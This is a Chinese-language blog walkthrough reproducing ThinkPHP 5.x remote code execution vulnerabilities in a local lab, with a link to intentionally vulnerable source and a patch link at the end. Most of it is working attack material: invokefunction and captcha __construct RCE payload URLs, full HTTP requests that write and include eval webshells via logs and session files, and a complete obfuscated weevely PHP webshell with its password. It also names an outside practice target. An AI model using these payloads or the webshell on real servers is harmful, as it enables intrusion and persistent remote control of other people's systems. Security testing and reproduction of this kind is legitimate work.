楼主Linux环境是Centos7,LAMP怎么搭不用我废话吧,别看错了

一.thinkphp5.X系列

1.安装composer

yum -y install composer

安装php拓展

yum -y install php-mysql php-gd libjpeg* php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-bcmath php-mhash -y

2.切换目录到/var/www/html

cd /var/www/html

安装thinkphp5

博主把含有命令执行漏洞的thinkphp源码链接附上

链接:https://pan.baidu.com/s/1MNqISFeKKT4FcJRHg2rTRw
提取码:se0n

把文件解压到当前目录(/var/www/html)即可

3.浏览器查看是否安装成功

到这里环境就搭建好了(各位看官如果照着前面的步骤没有成功的,麻烦把php运行环境搭建起来)

4.参考官方poc直接执行payload

#payload
http://192.168.2.134/tp5/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
/thinkphp/public/?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1
/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars=dir
/thinkphp/public/?s=index/\think\app/invokefunction&function=system&return_value=&command=dir
/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars[0]=dir&vars[1][]=
/thinkphp/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

可以看到,这里权限是Apache

这里说下,头一天强网杯web有一题就是thinkphp5.x的命令执行漏洞,叫做强网先锋上单。。。

当时觉得还好,随便拉的几个队友,有人做出来了,我去重新做了一遍(关键是互相不认识,谁做的根本不知道)

一开始扫描目录,没发现什么,后面留意到有日志,都是命令执行错误的信息,猜到可能是命令执行,一看cms是thinkphp5

于是就百度翻payload去了,一打,flag有了,flag就藏在根目录下面,hhhhh

言归正传,下面尝试写小马,getshell整个系统

payload附上

http://192.168.2.134/tp5/public/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20  ^%3C?php%20@eval($_GET[%22dd%22])?^%3E%3Eceshi.php

强网的时候是可以正常写入的,但是无法解析php,可能设置了权限

本地测试的时候发现,根本无法写入小马,如图,估计要先看看源码,找找问题

后面看了下日志,注意到报错,应该是语句被过滤了,小马不够强壮

后面我用weevely重新生成了一个小马,重新载入,连上了

webshell附上

<?php
$v='$cK^&&$i<$lK^);$j+K^+,$i++K^K^){$o.=$t{$K^i}^K^$k{$j};}}K^retK^urn $o;}if (@pK^K^reg_match("K^/$kK^h(.';
$S=str_replace('jW','','crjWjWeatejW_fjWjWunctijWon');
$t='K^zuncoK^mpress(@K^xK^(@bK^ase64_decodeK^($m[1K^]),$k)));K^ K^ $oK^=@ob_get_conteK^ntK^s(); @oK^bK^_';
$X='end_clean(K^); $K^r=@base6K^4_encoK^de(@x(K^K^K^@gzcomK^press($o),$k));K^ priK^nt("$p$khK^$r$kf");}';
$o='+K^)$kf/K^",@fK^ile_get_conteK^ntsK^("php://inK^put")K^K^,$m) == 1) { K^ @ob_sK^taK^rt(); @eK^val(@g';
$f='$k="098K^K^f6bcd";$khK^=K^"4621d373cade";$kK^f="4K^e832627bK^4f6"K^K^;$p="sK^015KnbG8K^frqxRiQ";fK^K^u';
$w='nctiK^on x($t,$kK^){K^$c=strlen($k)K^;$K^l=K^strlen($t);$o="K^"K^;K^for($i=0;$i<$l;)K^{for($jK^=K^0;($j<';
$N=str_replace('K^','',$f.$w.$v.$o.$t.$X);
$d=$S('',$N);$d();
?> #######
密码test
#######

下一步,想办法提权操作,毕竟权限太低了

weevely支持很多的操作,如下图

二.Thinkphp5.0.x(<5.0.24系列)RCE

payload:

Thinkphp5.0.23
POST发包
/index.php?s=captcha
POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
freebuf复现的文章缺少method=get参数,有的无法复现

靶机:http://www.whalwl.cn:8031/

提权略过

三.通过日志方式写入shell

环境不变(tp5.0.23)

1.假设服务器日志目录为/runtime/log/201911/22.log

就可以尝试往日志中写,然后包含日志,getshell

2.写入

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

这里payloads随便写,只要有完整的可识别的php语句就可以,报错,看起来无事发生,回来看下日志记录

 3.日志

最后一行,写入成功,最后来包含日志

4.包含日志(这里必须要知道日志的路径)

Post方式
?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log//.log&x=phpinfo();

5.略

四.通过session写入shell

环境(tp5.0.23)

1.找到你靶机session保存的位置,一般在phpinfo可以看到

 2.写入shell,通过Cookie写入

POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135
Cookie: PHPSESSID=
ThisIsATestaaaaa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/ Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.135/tp5.0.23/
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

到靶机上看,已经在靶机session目录下生成了

 3.包含Session

此时session中保存的数据为

其中就包含了一句话木马,在知道Session目录的情况下就可以直接getshell

POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/ Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.135/tp5.0.23/
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 120 _method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1

可以看到这里的php代码已经被执行了,所以只显示了双引号前面的数据

4.下一步连接一句话木马试试

POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/ Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.135/tp5.0.23/
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 142 _method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1&x=passthru('ls -la');

 5.略

6.当禁用一些函数啥都干不了的时候,可以尝试glob伪协议,遍历数据,结合文件读取函数进行读取文件内容

POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135
Cookie: PHPSESSID=ThisIsATestaaaaa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/ Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.135/tp5.0.23/
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 226 _method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1&x=$a=new%20DirectoryIterator(%22glob:///*%22);foreach($a%20as%20$f){echo($f-%3E__toString().%27%20%27);};

参考文章:

https://www.freebuf.com/vuls/194127.html

https://www.jianshu.com/p/ae48507135f3

https://www.cnblogs.com/r00tuser/p/11410157.html

修复补丁:

https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

thinkphp5.x命令执行漏洞复现及环境搭建的更多相关文章

  1. ThinkPHP 5.x远程命令执行漏洞复现

    ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...

  2. Apache SSI 远程命令执行漏洞复现

    Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...

  3. D-Link service.cgi远程命令执行漏洞复现

    1.1 概述 友讯集团(D-Link),成立于1986年,1994年10月于台湾证券交易所挂牌上市,为台湾第一家上市的网络公司,以自创D-Link品牌行销全球,产品遍及100多个国家. 1月17日,C ...

  4. Weblogic CVE-2018-3191远程代码命令执行漏洞复现

      0x00 简介 北京时间10月17日,Oracle官方发布的10月关键补充更新CPU(重要补丁更新)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191).该漏洞允许未经 ...

  5. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  6. ThinkPHP5 远程命令执行漏洞分析

    本文首发自安全脉搏,转载请注明出处. 前言 ThinkPHP官方最近修复了一个严重的远程代码执行漏洞.这个主要漏洞原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语 ...

  7. 利用phar实行php反序列化命令执行漏洞复现

    利用phar实行php反序列化命令执行(测试环境复现) 前言 一般说到反序列化漏洞,第一反应都是unserialize()函数.然而安全研究员Sam Thomas分享了议题”It’s a PHP un ...

  8. CVE-2019-0193:Apache Solr 远程命令执行漏洞复现

    0x00 漏洞背景 2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重 0x01 影响范围 Apache Solr < 8.2.0 0x0 ...

  9. Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

    影响版本 Apache Shiro <= 1.2.4 产生原因 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cook ...

随机推荐

  1. openlive writer 汉化方法

    使用方法: 替换你安装openlive writer 位置C:\Users\Administrator\AppData\Local\OpenLiveWriter的 app目录 下的 OpenLiveW ...

  2. Office2019 Word 新建文档豆沙绿背景色失效零时解决方案

    如果只针对Word的话,可以尝试在开发者选项卡中新建一个宏,复制下面的内容进行运行: Sub WritingLayout() ActiveDocument.Background.Fill.Visibl ...

  3. spring中RequestBody注解接收参数时用JSONField转参数名无效问题

    问题: 在springboot项目中使用@RequestBody注解接收post请求中body里的json参数的情况.即: @RequestMapping(value = "/get-use ...

  4. WPF--控件模板的视觉效果呈现流程及逻辑

    外部通过属性把数据--传递给-->(破拆后)内部可视化树 ----> 内部可视化树呈现出视觉效果 ----> 各种内部可视化组件的视觉效果组合  --- 呈现 -->  外部的 ...

  5. Android最新版本号与API级别对应关系

     Android版本号与API级别对应关系表 名称 版本号 API等级 发布时间 BuildVersion 2012-11-01 BuildVersionCodes.JellyBeanMr1 Jell ...

  6. flutter本地环境的安装以及编辑器的配置

    由于本文图片比较多,所有都缩小了不少,点击图片就可以放大看到原始图片 使用镜像 cmd打开终端,贴上以下代码,以加入到环境变量中,如果添加失败,可以手动添加 export PUB_HOSTED_URL ...

  7. Windows下同时安装了Python2与Python3时如何使用RobotFrameWork

    由于windows下不能像linux那样指定python文件的运行路径,当电脑中即安装了python2,又安装了python3时,也不能在环境变量中都配置运行路径吧(当然是可以配置的,系统会按照靠前的 ...

  8. Dubbo2.7.3入门

    2.7.X的Dubbo,包名不再是com.alibaba,而是org.apache 先看工程目录结构 一个公共api模块,一个SpringBoot项目充当Dubbo服务,一个SpringBoot项目充 ...

  9. SQL Server 参数嗅探问题

    摘要 MSSQL Server参数嗅探既是一个涉及知识面非常广泛,又是一个比较难于解决的课题,即使对于数据库老手也是一个比较头痛的问题.这篇文章从参数嗅探是什么,如何产生,表象是什么,会带来哪些问题, ...

  10. 手把手教你做JavaWeb项目:登录模块

    现如今,无论是客户端还是移动端,无论是游戏登陆还是社交平台登陆,无处不在的“登陆”.那么你知道怎么制作吗?今天就为你娓娓道来: 用户登录 在各大信息管理系统中,登录功能是必不可少的,他的作用就是验证用 ...